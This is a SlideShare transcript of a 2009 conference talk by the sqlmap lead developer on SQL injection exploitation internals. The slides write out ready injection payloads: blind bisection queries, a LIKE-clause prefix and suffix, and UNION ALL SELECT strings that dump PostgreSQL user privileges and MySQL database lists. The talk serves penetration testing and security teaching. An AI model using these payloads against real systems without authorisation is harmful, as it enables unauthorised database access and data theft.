SlideShare a Scribd company logo
SQL injection
exploitation internals
How do I exploit this web
application injection point?
Intercon III, London
January 9, 2009
Bernardo Damele A. G.
bernardo.damele@gmail.com
Intercon III, London – January 9, 2009 2
About me
Bernardo Damele A. G.
● Proud father
● Penetration Tester and Security Researcher
● Currently working at Portcullis Computer Security Ltd
● sqlmap lead developer
Intercon III, London – January 9, 2009 3
SQL... what? (1/2)
● From the OWASP Testing Guide:
“SQL injection attacks are a type of injection attack, in
which SQL commands are injected into data-plane input in
order to affect the execution of predefined SQL commands”
● There are plenty of resources on the Net about SQL injection
concept: it is a high-risk web application security flaw
● A long list of resources can be found on my delicious profile,
http://delicious.com/inquis/sqlinjection
● I keep it updated with stuff I consider valuable
● A wise man once told me:
“An image is worth thousands words”
Intercon III, London – January 9, 2009 4
SQL... what? (2/2)
Source http://xkcd.com/327/
Intercon III, London – January 9, 2009 5
All right, tons of resources and I am still presenting about SQL
injection, why?
Because:
● New techniques have been released in the last year
● Some aspects have been over-looked in the past
● It is fun!
State of art
Intercon III, London – January 9, 2009 6
Basically the steps to go through are:
● Detection of a possible SQL injection flaw
● SQL query syntax detection
● Back-end database management system fingerprint
● Depending on the session user privileges, back-end DBMS
and some possible security settings in place server-side, a
SQL injection issue leads on the DBMS server to:
● DBMS data unauthorized access
● File system read and write access
● Operating system command execution
How does it work?
Intercon III, London – January 9, 2009 7
sqlmap is an automatic SQL injection tool:
● Developed in Python. Started on July 2006 initially by
Daniele Bellucci, then I took over in December 2006
● Licensed under the terms of GPLv2
● Detects and take advantage of SQL injection vulnerabilities
in web applications. The user can choose to:
● Perform an extensive back-end DBMS fingerprint
● Enumerate users, password hashes, privileges,
databases, tables, columns and their datatypes
● Dump entire or user's specified database tables' entries
● Run custom SQL statements and more
sqlmap
Intercon III, London – January 9, 2009 8
sqlmap key features:
● Full support for MySQL, Oracle, PostgreSQL and
Microsoft SQL Server back-end DBMS software
● Full support for three SQL injection techniques:
● Inferential blind SQL injection
● UNION query SQL injection
● Stacked queries (multiple statements) support
● Target aquisition: from user, by parsing WebScarab/Burp
proxies requests log files, by Google dorking
● Tests for injection flaws on GET and POST parameters,
HTTP User-Agent header and Cookie values
sqlmap features (1/2)
Intercon III, London – January 9, 2009 9
More features:
● Silent to verbose output messages
● Granularity in the user's options
● Support for concurrent HTTP requests (multi-threading)
● Estimated time of arrival
● Session save and resume
● Options from command line and/or configuration file
● Integration with Metasploit and w3af
● File system read and write access and operating system
command execution by providing own queries, depending
on the session user privileges and back-end DBMS
sqlmap features (2/2)
Intercon III, London – January 9, 2009 10
Real world
Have you ever had a dream, Neo, that you were so
sure was real? What if you were unable to wake from
that dream? How would you know the difference
between the dream world and the real world?
Morpheus, The Matrix
Intercon III, London – January 9, 2009 11
In the real world web applications are often complex
Usually the page content changes at each refresh
● They have inline counters, advertisement banner, clocks,
etc.
Inferential blind SQL injection algorithm is based on the
concept that the HTTP responses differ depending on the SQL
query
Dealing with advertisements (1/3)
Intercon III, London – January 9, 2009 12
Obstacle
If the page content does not depend only on the
SQL statement and changes at each refresh then
the algorithm may not work
Dealing with advertisements (2/3)
Intercon III, London – January 9, 2009 13
Python library helped to solve this problem: for each HTTP
response sqlmap calls a function that compares the returned
page content with the untouched original page content:
● Return a measure of the page contents' similarity as a float
in the range [0, 1] with a radio of 3.
● It works also when the original page is stable, but the
injected query with a valid condition (True) differs
If the automatic comparison fails, the user can provide a
string or a regular expression to match on both original and
True page contents and to not match on False page contents
Dealing with advertisements (3/3)
Intercon III, London – January 9, 2009 14
● In standard SQL language NULL is allowed as a value for a
table column field
● In the inferential blind SQL injection technique usually a
bisection algorithm is used to identify if the ordinal value of
the Nth query output character is higher of a certain ASCII
table number: this causes the page content to be True or
False
● The SQL statement used by sqlmap, depending on the back-
end DBMS, is similar to:
ASCII(SUBSTR((SQL query), Nth SQL query 
output char, 1)) > Bisection algorithm 
number
To NULL or not to NULL (1/4)
Intercon III, London – January 9, 2009 15
Obstacle
On some DBMS the substring function can not be
used on NULL
To NULL or not to NULL (2/4)
Intercon III, London – January 9, 2009 16
● A possible solution for this problem consists in modifying all
SQL query's columns explicitly:
● Casting its output to be a string
● Returning value ' ' (space) if the casted value is still
NULL
● Example on MySQL 5.0. The SQL query to enumerate the
column name first entry is:
SELECT name FROM test.users LIMIT 0, 1
● Casted SQL query:
SELECT IFNULL(CAST(name AS CHAR(10000)), 
CHAR(32)) FROM test.users LIMIT 0, 1
To NULL or not to NULL (3/4)
Intercon III, London – January 9, 2009 17
The inferential blind SQL injected statement will be then:
ORD(MID((SELECT IFNULL(CAST(name AS 
CHAR(10000)), CHAR(32)) FROM test.users 
LIMIT 0, 1), Nth SQL query output character, 
1)) > Bisection algorithm number
URL encoded:
ORD%28MID%28%28SELECT%20IFNULL%28CAST%28name
%20AS%20CHAR%2810000%29%29%2C%20CHAR
%2832%29%29%20FROM%20test.users%20LIMIT
%200%2C%201%29%2C%201%2C%201%29%29%20%3E
%2063
To NULL or not to NULL (4/4)
Intercon III, London – January 9, 2009 18
You have got an injection point
The injection point is in a SQL statement as follows:
SELECT * FROM users WHERE id LIKE ((('%" . 
$_GET['id'] . "%'))) LIMIT 0, 1
SQL payload (1/3)
Intercon III, London – January 9, 2009 19
Obstacle
The injection is after a LIKE clause, within three
parenthesis, the statement terminates with a
LIMIT clause
SQL payload (2/3)
Intercon III, London – January 9, 2009 20
In this example the SQL payload that sqlmap identifies is:
id=1'))) AND ((('RaNd' LIKE 'RaNd
In the inferential blind SQL injection algorithm will be:
id=1'))) AND ORD(MID((SQL query), Nth SQL 
query output character, 1)) > Bisection 
algorithm number AND ((('RaNd' LIKE 'RaNd
In the UNION query SQL injection technique will be:
id=1'))) UNION ALL SELECT NULL, Concatenated 
SQL query, NULL# AND ((('RaNd' LIKE 'RaNd
SQL payload (3/3)
Intercon III, London – January 9, 2009 21
First demo
I did every demo possible to see if the things would
do what they were promising they would do
Doug Hall
Intercon III, London – January 9, 2009 22
You have got an injection point
It is vulnerable to UNION query SQL injection:
● sqlmap detected it for you by NULL bruteforcing or by
ORDER BY clause bruteforcing, depending on your options
Bypass columns limitation (1/4)
Intercon III, London – January 9, 2009 23
Obstacle
The number of columns in the web application
SELECT statement is lower than the number of
columns of your UNION ALL SELECT statement
Bypass columns limitation (2/4)
Intercon III, London – January 9, 2009 24
● A possible solution consists in concatenating your SELECT
statement columns in a single output by using the
specific DBMS string concatenation operator or function
● Example on PostgreSQL 8.3 to retrieve users privileges
● The SQL query to inject is:
SELECT usename, usecreatedb, usesuper, 
usecatupd FROM pg_user
Bypass columns limitation (3/4)
Intercon III, London – January 9, 2009 25
The injection will be:
UNION ALL SELECT NULL, CHR(83)||CHR(114)||
CHR(108)||CHR(71)||CHR(86)||CHR(116)||
COALESCE(CAST(usename AS CHARACTER(10000)), 
CHR(32))||CHR(104)||CHR(100)||CHR(122)||
CHR(81)||CHR(121)||CHR(90)||
COALESCE(CAST(usecreatedb AS 
CHARACTER(10000)), CHR(32))||CHR(104)||
CHR(100)||CHR(122)||CHR(81)||CHR(121)||
CHR(90)||COALESCE(CAST(usesuper AS 
CHARACTER(10000)), CHR(32))||CHR(104)||
CHR(100)||CHR(122)||CHR(81)||CHR(121)||
CHR(90)||COALESCE(CAST(usecatupd AS 
CHARACTER(10000)), CHR(32))||CHR(75)||
CHR(121)||CHR(80)||CHR(65)||CHR(68)||
CHR(102), NULL FROM pg_user­­
Bypass columns limitation (4/4)
Intercon III, London – January 9, 2009 26
Obstacle
You have got an injection point vulnerable to
UNION query SQL injection. Only the query
output's first entry or a range of entries is
displayed in the page content
Going partial.. UNION (1/3)
Intercon III, London – January 9, 2009 27
sqlmap automatizes a known technique:
● Changes the parameter value to its negative value causing
the original query to produce no output
● Inspects and unpack the provided SQL statement:
● Calculates its output number of entries
● Limits it after the UNION ALL SELECT to return one
entry at a time
● Repeat the previous action N times where N is equal to
the number of entries
Going partial.. UNION (2/3)
Intercon III, London – January 9, 2009 28
● Example on MySQL 4.1 to enumerate list of databases
● The SQL query to inject is:
SELECT db FROM mysql.db
● sqlmap identified the injection point as being an non-quoted
parameter (integer) in the WHERE clause with the equal
operator (simple scenario)
● The injection will be:
id=­1 UNION ALL SELECT NULL, 
CONCAT(CHAR(100,84,71,69,87,98),IFNULL(CAST
(db AS CHAR(10000)), CHAR(32)), 
CHAR(65,83,118,81,87,116)), NULL FROM 
mysql.db LIMIT 0, 1# AND 6972=6972
Going partial.. UNION (3/3)
Intercon III, London – January 9, 2009 29
● Back-end DBMS fingerprinting is a mandatory step to go
through to take full advantage of a SQL injection flaw
● There are a few well known techniques and a few over-looked
techniques
● sqlmap implements up to four techniques, three of these are
in use by other tools:
● The user can force the back-end DBMS software value: no
HTTP requests are sent to identify the software
● By default a basic DBMS fingerprint based on one or two
techniques is done: only two HTTP requests are sent
● The user can choose to perform an extensive DBMS
fingerprint based on four techniques: numerous
(30+) HTTP requests are sent
DBMS fingerprint (1/4)
Intercon III, London – January 9, 2009 30
● The techniques implemented to perform an extensive back-
end DBMS fingerprint are:
● Inband error messages
● Banner parsing
● SQL dialect
● Specific functions static output comparison
● On a default installation all of them are reliable
● On a hardened installation the last two are reliable
DBMS fingerprint (2/4)
Intercon III, London – January 9, 2009 31
Example of basic back-end DBMS fingerprint on PostgreSQL
8.3
● The techniques in use are two
● The two SQL queries injected to identify it are:
AND integer::int=integer
● SQL dialect
AND COALESCE(integer, NULL)=integer
● Specific function static output comparison
DBMS fingerprint (3/4)
Intercon III, London – January 9, 2009 32
Example of extensive back-end DBMS fingerprint on Microsoft
SQL Server 2005
● The techniques in use are three
● The result is:
active fingerprint: Microsoft SQL Server 2005
banner parsing fingerprint: Microsoft SQL Server 
2005 Service Pack 0 version 9.00.1399
html error message fingerprint: Microsoft SQL Server
● Active fingerprint refers to SQL dialect and
specific functions static output comparison
DBMS fingerprint (4/4)
Intercon III, London – January 9, 2009 33
● Fingerprinting is a key step in penetration testing
● It is not only about back-end DBMS software
● There are techniques and tools to fingerprint the web server,
the web application technology and their underlying system
● What about the back-end DBMS underlying system?
● sqlmap can fingerprint them without making extra requests:
● Web/application server and web application technology: by
parsing the HTTP response headers (Server, X-AspNet-
Version, X-Powered-By, etc.) – known technique
● Back-end DBMS operating system: by parsing the
DBMS banner – over-looked technique
More on fingerprint
Intercon III, London – January 9, 2009 34
Second demo
A demo, as in "demolish", or "demonstration"?
Cyclops, X-Men: Evolution
Intercon III, London – January 9, 2009 35
It might comes in handy sometimes to be able to run your own
SQL queries, mainly for file system read and write access
and operating system command execution
The tool inspects the provided statement:
● If it is a SELECT statement sqlmap uses, depending on
user's options, the inferential blind or the UNION query
technique to retrieve its output
● If it is a data manipulation statement, a transaction
statement or any other valid SQL statement, it uses
stacked queries to run it if the web application supports
them
Give me a SQL shell!
Intercon III, London – January 9, 2009 36
Automation vs granularity (1/2)
sqlmap has been developed to make it simple for a busy
penetration tester to detect and exploit SQL injection
vulnerabilities in web applications
● Providing it with a source of targets, it can automatically:
● Detect all possible SQL injections and confirm them
● Identify the SQL query syntax
● Fingerprint the back-end DBMS
● The user does not have to look on the Net for DBMS
specific queries then manually inject them to enumerate
users password hashes, check if the session user is a
DBA, enumerate table columns' datatype, etc.
● There is an option to dump the whole back-end DBMS
Intercon III, London – January 9, 2009 37
Automation vs granularity (2/2)
● The tester is a professional, he knows what he does and why
● There are options to specify:
● How to compare True and False HTTP responses
● A single or more testable parameters
● The SQL payload prefix and postfix
● A single or a range of entries to dump from a table
● A single or multiple columns to dump from a table
● Custom SQL statements to run
● Options can be specified from both command line and/or
configuration file
● Options are documented in the user's manual with examples
Intercon III, London – January 9, 2009 38
Third demo
I get tons of uninteresting mail, and system
announcements about babies born, etc. At least a
demo MIGHT have been interesting
Richard Stallman
Intercon III, London – January 9, 2009 39
Limitations
Can sqlmap fail to detect or to exploit a SQL injection
vulnerability?
● Yes, in some cases mainly because it does not support:
● SQL injection on SQL clauses other than WHERE
● Time based blind SQL injection technique
...but I am working on these and others!
Intercon III, London – January 9, 2009 40
Want to contribute?
I am always looking forward to code contributions
Try it, find bugs, send feature requests, review the code and
the documentation, contribute on the mailing lists!
I can provide you with:
● Details on code internals
● Write access to the Subversion repository
● Access to the development platform
● A beer if you are in London area
Intercon III, London – January 9, 2009 41
Links and contacts
Homepage: http://sqlmap.sourceforge.net
Documentation:
● http://sqlmap.sourceforge.net/dev/index.html
● http://sqlmap.sourceforge.net/doc/README.pdf
Mailing lists:
● https://lists.sourceforge.net/lists/listinfo/sqlmap-users
● https://lists.sourceforge.net/lists/listinfo/sqlmap-devel
Personal contacts:
● E-mail / Jabber: bernardo.damele@gmail.com
● Blog: http://bernardodamele.blogspot.com
Intercon III, London – January 9, 2009 42
References
● OWASP Testing Guide, Open Web Application Security Project
● Exploit of a Mom, xkcd
● Deep Blind SQL Injection, Ferruh Mavituna (Portcullis Computer Security Ltd)
● Microsoft SQL Server sp_replwritetovarbin limited memory overwrite vulnerability,
Bernhard Mueller (SEC Consult Vulnerability Lab)
● Metasploit Framework, H D Moore and the Metasploit development team
● w3af, Andres Riancho and the w3af development team
● Data-mining with SQL Injection and Inference, David Litchfield (NGS Software)
● Advanced SQL Injection, Victor Chapela (Sm4rt Security Services)
● Python difflib, Python Software Foundation
● NULL (SQL), Wikipedia
● Agent oriented SQL abuse, Fernando Russ and Diego Tiscornia (CORE Security)
● Insight on UNION query SQL injection, Bernardo Damele A. G.
● DBMS Fingerprint, Daniele Bellucci (OWASP Backend Security Project)
Intercon III, London – January 9, 2009 43
Questions?
Thanks for your attention

More Related Content

PDF
Advanced SQL injection to operating system full control (whitepaper)
PDF
SQL injection: Not only AND 1=1
PDF
Not so blind SQL Injection
PDF
SQL injection: Not Only AND 1=1 (updated)
PPT
Advanced SQL Injection
PPT
Advanced Topics On Sql Injection Protection
PDF
SQL Injection: complete walkthrough (not only) for PHP developers
PDF
Advanced SQL Injection: Attacks
Advanced SQL injection to operating system full control (whitepaper)
SQL injection: Not only AND 1=1
Not so blind SQL Injection
SQL injection: Not Only AND 1=1 (updated)
Advanced SQL Injection
Advanced Topics On Sql Injection Protection
SQL Injection: complete walkthrough (not only) for PHP developers
Advanced SQL Injection: Attacks

What's hot (20)

PDF
Advanced SQL injection to operating system full control (slides)
PPT
Advanced Sql Injection ENG
PDF
Got database access? Own the network!
PDF
Expanding the control over the operating system from the database
PDF
Advanced SQL injection to operating system full control (short version)
PPT
Web application attacks using Sql injection and countermasures
PPTX
Sql injection
PDF
SQL Injection Tutorial
PPT
Sql injection
PPT
SQL Injection
PDF
Sql injection with sqlmap
PDF
Sql Injection Myths and Fallacies
PPT
A Brief Introduction in SQL Injection
PDF
PPT
Sql injection
PPTX
Ppt on sql injection
PDF
sqlmap - security development in Python
PDF
Sql Injection 0wning Enterprise
DOCX
Sql interview questions
Advanced SQL injection to operating system full control (slides)
Advanced Sql Injection ENG
Got database access? Own the network!
Expanding the control over the operating system from the database
Advanced SQL injection to operating system full control (short version)
Web application attacks using Sql injection and countermasures
Sql injection
SQL Injection Tutorial
Sql injection
SQL Injection
Sql injection with sqlmap
Sql Injection Myths and Fallacies
A Brief Introduction in SQL Injection
Sql injection
Ppt on sql injection
sqlmap - security development in Python
Sql Injection 0wning Enterprise
Sql interview questions
Ad

Viewers also liked (17)

PPTX
Sql injection
PDF
Advanced SQL injection to operating system full control (short version)
PPT
Sql injection attacks
PDF
How we breach small and medium enterprises (SMEs)
PDF
NCC Group 44Con Workshop: How to assess and secure ios apps
PDF
Data Retrieval over DNS in SQL Injection Attacks
PDF
Statistical computing 01
PPT
SQLMAP Tool Usage - A Heads Up
PDF
It all starts with the ' (SQL injection from attacker's point of view)
PDF
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
PDF
sqlmap - why (not how) it works?
PPTX
SQL Injection in action with PHP and MySQL
PPTX
Google Dorks and SQL Injection
PPTX
Introduction to oracle database (basic concepts)
PDF
สมการและคำตอบของสมการ โดย krooann
PPTX
Sql Injection attacks and prevention
PPT
Sql injection
Sql injection
Advanced SQL injection to operating system full control (short version)
Sql injection attacks
How we breach small and medium enterprises (SMEs)
NCC Group 44Con Workshop: How to assess and secure ios apps
Data Retrieval over DNS in SQL Injection Attacks
Statistical computing 01
SQLMAP Tool Usage - A Heads Up
It all starts with the ' (SQL injection from attacker's point of view)
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
sqlmap - why (not how) it works?
SQL Injection in action with PHP and MySQL
Google Dorks and SQL Injection
Introduction to oracle database (basic concepts)
สมการและคำตอบของสมการ โดย krooann
Sql Injection attacks and prevention
Sql injection
Ad

Similar to SQL injection exploitation internals (20)

PDF
SQL Injection Attack Guide for ethical hacking
PDF
Sql injection
PPTX
SQL Injection Stegnography in Pen Testing
PPT
PHP - Introduction to Advanced SQL
PDF
Practical Approach towards SQLi ppt
PDF
Ch 9 Attacking Data Stores (Part 2)
PDF
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
PDF
CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)
PDF
SQL Injection
PPT
Sql Injection
PPTX
Hack through Injections
PPTX
SQL Injections - 2016 - Huntington Beach
PPSX
Web application security
PDF
Bsidesvienna sentinel v0.4
PDF
Sql injection manish file
PDF
Blind sql injection
PDF
Blind sql injection
PDF
LogLogic SQL Server Hacking DBs April09
PPTX
Sql injection
PPT
Sql Injection Adv Owasp
SQL Injection Attack Guide for ethical hacking
Sql injection
SQL Injection Stegnography in Pen Testing
PHP - Introduction to Advanced SQL
Practical Approach towards SQLi ppt
Ch 9 Attacking Data Stores (Part 2)
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)
SQL Injection
Sql Injection
Hack through Injections
SQL Injections - 2016 - Huntington Beach
Web application security
Bsidesvienna sentinel v0.4
Sql injection manish file
Blind sql injection
Blind sql injection
LogLogic SQL Server Hacking DBs April09
Sql injection
Sql Injection Adv Owasp

Recently uploaded (20)

PDF
cuic standard and advanced reporting.pdf
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PPTX
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PPTX
sap open course for s4hana steps from ECC to s4
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Electronic commerce courselecture one. Pdf
DOCX
The AUB Centre for AI in Media Proposal.docx
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
NewMind AI Weekly Chronicles - August'25 Week I
cuic standard and advanced reporting.pdf
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
Chapter 3 Spatial Domain Image Processing.pdf
sap open course for s4hana steps from ECC to s4
MIND Revenue Release Quarter 2 2025 Press Release
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Encapsulation_ Review paper, used for researhc scholars
Diabetes mellitus diagnosis method based random forest with bat algorithm
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Unlocking AI with Model Context Protocol (MCP)
Building Integrated photovoltaic BIPV_UPV.pdf
20250228 LYD VKU AI Blended-Learning.pptx
Understanding_Digital_Forensics_Presentation.pptx
Electronic commerce courselecture one. Pdf
The AUB Centre for AI in Media Proposal.docx
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Programs and apps: productivity, graphics, security and other tools
The Rise and Fall of 3GPP – Time for a Sabbatical?
NewMind AI Weekly Chronicles - August'25 Week I

SQL injection exploitation internals

  • 1. SQL injection exploitation internals How do I exploit this web application injection point? Intercon III, London January 9, 2009 Bernardo Damele A. G. bernardo.damele@gmail.com
  • 2. Intercon III, London – January 9, 2009 2 About me Bernardo Damele A. G. ● Proud father ● Penetration Tester and Security Researcher ● Currently working at Portcullis Computer Security Ltd ● sqlmap lead developer
  • 3. Intercon III, London – January 9, 2009 3 SQL... what? (1/2) ● From the OWASP Testing Guide: “SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands” ● There are plenty of resources on the Net about SQL injection concept: it is a high-risk web application security flaw ● A long list of resources can be found on my delicious profile, http://delicious.com/inquis/sqlinjection ● I keep it updated with stuff I consider valuable ● A wise man once told me: “An image is worth thousands words”
  • 4. Intercon III, London – January 9, 2009 4 SQL... what? (2/2) Source http://xkcd.com/327/
  • 5. Intercon III, London – January 9, 2009 5 All right, tons of resources and I am still presenting about SQL injection, why? Because: ● New techniques have been released in the last year ● Some aspects have been over-looked in the past ● It is fun! State of art
  • 6. Intercon III, London – January 9, 2009 6 Basically the steps to go through are: ● Detection of a possible SQL injection flaw ● SQL query syntax detection ● Back-end database management system fingerprint ● Depending on the session user privileges, back-end DBMS and some possible security settings in place server-side, a SQL injection issue leads on the DBMS server to: ● DBMS data unauthorized access ● File system read and write access ● Operating system command execution How does it work?
  • 7. Intercon III, London – January 9, 2009 7 sqlmap is an automatic SQL injection tool: ● Developed in Python. Started on July 2006 initially by Daniele Bellucci, then I took over in December 2006 ● Licensed under the terms of GPLv2 ● Detects and take advantage of SQL injection vulnerabilities in web applications. The user can choose to: ● Perform an extensive back-end DBMS fingerprint ● Enumerate users, password hashes, privileges, databases, tables, columns and their datatypes ● Dump entire or user's specified database tables' entries ● Run custom SQL statements and more sqlmap
  • 8. Intercon III, London – January 9, 2009 8 sqlmap key features: ● Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server back-end DBMS software ● Full support for three SQL injection techniques: ● Inferential blind SQL injection ● UNION query SQL injection ● Stacked queries (multiple statements) support ● Target aquisition: from user, by parsing WebScarab/Burp proxies requests log files, by Google dorking ● Tests for injection flaws on GET and POST parameters, HTTP User-Agent header and Cookie values sqlmap features (1/2)
  • 9. Intercon III, London – January 9, 2009 9 More features: ● Silent to verbose output messages ● Granularity in the user's options ● Support for concurrent HTTP requests (multi-threading) ● Estimated time of arrival ● Session save and resume ● Options from command line and/or configuration file ● Integration with Metasploit and w3af ● File system read and write access and operating system command execution by providing own queries, depending on the session user privileges and back-end DBMS sqlmap features (2/2)
  • 10. Intercon III, London – January 9, 2009 10 Real world Have you ever had a dream, Neo, that you were so sure was real? What if you were unable to wake from that dream? How would you know the difference between the dream world and the real world? Morpheus, The Matrix
  • 11. Intercon III, London – January 9, 2009 11 In the real world web applications are often complex Usually the page content changes at each refresh ● They have inline counters, advertisement banner, clocks, etc. Inferential blind SQL injection algorithm is based on the concept that the HTTP responses differ depending on the SQL query Dealing with advertisements (1/3)
  • 12. Intercon III, London – January 9, 2009 12 Obstacle If the page content does not depend only on the SQL statement and changes at each refresh then the algorithm may not work Dealing with advertisements (2/3)
  • 13. Intercon III, London – January 9, 2009 13 Python library helped to solve this problem: for each HTTP response sqlmap calls a function that compares the returned page content with the untouched original page content: ● Return a measure of the page contents' similarity as a float in the range [0, 1] with a radio of 3. ● It works also when the original page is stable, but the injected query with a valid condition (True) differs If the automatic comparison fails, the user can provide a string or a regular expression to match on both original and True page contents and to not match on False page contents Dealing with advertisements (3/3)
  • 14. Intercon III, London – January 9, 2009 14 ● In standard SQL language NULL is allowed as a value for a table column field ● In the inferential blind SQL injection technique usually a bisection algorithm is used to identify if the ordinal value of the Nth query output character is higher of a certain ASCII table number: this causes the page content to be True or False ● The SQL statement used by sqlmap, depending on the back- end DBMS, is similar to: ASCII(SUBSTR((SQL query), Nth SQL query  output char, 1)) > Bisection algorithm  number To NULL or not to NULL (1/4)
  • 15. Intercon III, London – January 9, 2009 15 Obstacle On some DBMS the substring function can not be used on NULL To NULL or not to NULL (2/4)
  • 16. Intercon III, London – January 9, 2009 16 ● A possible solution for this problem consists in modifying all SQL query's columns explicitly: ● Casting its output to be a string ● Returning value ' ' (space) if the casted value is still NULL ● Example on MySQL 5.0. The SQL query to enumerate the column name first entry is: SELECT name FROM test.users LIMIT 0, 1 ● Casted SQL query: SELECT IFNULL(CAST(name AS CHAR(10000)),  CHAR(32)) FROM test.users LIMIT 0, 1 To NULL or not to NULL (3/4)
  • 17. Intercon III, London – January 9, 2009 17 The inferential blind SQL injected statement will be then: ORD(MID((SELECT IFNULL(CAST(name AS  CHAR(10000)), CHAR(32)) FROM test.users  LIMIT 0, 1), Nth SQL query output character,  1)) > Bisection algorithm number URL encoded: ORD%28MID%28%28SELECT%20IFNULL%28CAST%28name %20AS%20CHAR%2810000%29%29%2C%20CHAR %2832%29%29%20FROM%20test.users%20LIMIT %200%2C%201%29%2C%201%2C%201%29%29%20%3E %2063 To NULL or not to NULL (4/4)
  • 18. Intercon III, London – January 9, 2009 18 You have got an injection point The injection point is in a SQL statement as follows: SELECT * FROM users WHERE id LIKE ((('%" .  $_GET['id'] . "%'))) LIMIT 0, 1 SQL payload (1/3)
  • 19. Intercon III, London – January 9, 2009 19 Obstacle The injection is after a LIKE clause, within three parenthesis, the statement terminates with a LIMIT clause SQL payload (2/3)
  • 20. Intercon III, London – January 9, 2009 20 In this example the SQL payload that sqlmap identifies is: id=1'))) AND ((('RaNd' LIKE 'RaNd In the inferential blind SQL injection algorithm will be: id=1'))) AND ORD(MID((SQL query), Nth SQL  query output character, 1)) > Bisection  algorithm number AND ((('RaNd' LIKE 'RaNd In the UNION query SQL injection technique will be: id=1'))) UNION ALL SELECT NULL, Concatenated  SQL query, NULL# AND ((('RaNd' LIKE 'RaNd SQL payload (3/3)
  • 21. Intercon III, London – January 9, 2009 21 First demo I did every demo possible to see if the things would do what they were promising they would do Doug Hall
  • 22. Intercon III, London – January 9, 2009 22 You have got an injection point It is vulnerable to UNION query SQL injection: ● sqlmap detected it for you by NULL bruteforcing or by ORDER BY clause bruteforcing, depending on your options Bypass columns limitation (1/4)
  • 23. Intercon III, London – January 9, 2009 23 Obstacle The number of columns in the web application SELECT statement is lower than the number of columns of your UNION ALL SELECT statement Bypass columns limitation (2/4)
  • 24. Intercon III, London – January 9, 2009 24 ● A possible solution consists in concatenating your SELECT statement columns in a single output by using the specific DBMS string concatenation operator or function ● Example on PostgreSQL 8.3 to retrieve users privileges ● The SQL query to inject is: SELECT usename, usecreatedb, usesuper,  usecatupd FROM pg_user Bypass columns limitation (3/4)
  • 25. Intercon III, London – January 9, 2009 25 The injection will be: UNION ALL SELECT NULL, CHR(83)||CHR(114)|| CHR(108)||CHR(71)||CHR(86)||CHR(116)|| COALESCE(CAST(usename AS CHARACTER(10000)),  CHR(32))||CHR(104)||CHR(100)||CHR(122)|| CHR(81)||CHR(121)||CHR(90)|| COALESCE(CAST(usecreatedb AS  CHARACTER(10000)), CHR(32))||CHR(104)|| CHR(100)||CHR(122)||CHR(81)||CHR(121)|| CHR(90)||COALESCE(CAST(usesuper AS  CHARACTER(10000)), CHR(32))||CHR(104)|| CHR(100)||CHR(122)||CHR(81)||CHR(121)|| CHR(90)||COALESCE(CAST(usecatupd AS  CHARACTER(10000)), CHR(32))||CHR(75)|| CHR(121)||CHR(80)||CHR(65)||CHR(68)|| CHR(102), NULL FROM pg_user­­ Bypass columns limitation (4/4)
  • 26. Intercon III, London – January 9, 2009 26 Obstacle You have got an injection point vulnerable to UNION query SQL injection. Only the query output's first entry or a range of entries is displayed in the page content Going partial.. UNION (1/3)
  • 27. Intercon III, London – January 9, 2009 27 sqlmap automatizes a known technique: ● Changes the parameter value to its negative value causing the original query to produce no output ● Inspects and unpack the provided SQL statement: ● Calculates its output number of entries ● Limits it after the UNION ALL SELECT to return one entry at a time ● Repeat the previous action N times where N is equal to the number of entries Going partial.. UNION (2/3)
  • 28. Intercon III, London – January 9, 2009 28 ● Example on MySQL 4.1 to enumerate list of databases ● The SQL query to inject is: SELECT db FROM mysql.db ● sqlmap identified the injection point as being an non-quoted parameter (integer) in the WHERE clause with the equal operator (simple scenario) ● The injection will be: id=­1 UNION ALL SELECT NULL,  CONCAT(CHAR(100,84,71,69,87,98),IFNULL(CAST (db AS CHAR(10000)), CHAR(32)),  CHAR(65,83,118,81,87,116)), NULL FROM  mysql.db LIMIT 0, 1# AND 6972=6972 Going partial.. UNION (3/3)
  • 29. Intercon III, London – January 9, 2009 29 ● Back-end DBMS fingerprinting is a mandatory step to go through to take full advantage of a SQL injection flaw ● There are a few well known techniques and a few over-looked techniques ● sqlmap implements up to four techniques, three of these are in use by other tools: ● The user can force the back-end DBMS software value: no HTTP requests are sent to identify the software ● By default a basic DBMS fingerprint based on one or two techniques is done: only two HTTP requests are sent ● The user can choose to perform an extensive DBMS fingerprint based on four techniques: numerous (30+) HTTP requests are sent DBMS fingerprint (1/4)
  • 30. Intercon III, London – January 9, 2009 30 ● The techniques implemented to perform an extensive back- end DBMS fingerprint are: ● Inband error messages ● Banner parsing ● SQL dialect ● Specific functions static output comparison ● On a default installation all of them are reliable ● On a hardened installation the last two are reliable DBMS fingerprint (2/4)
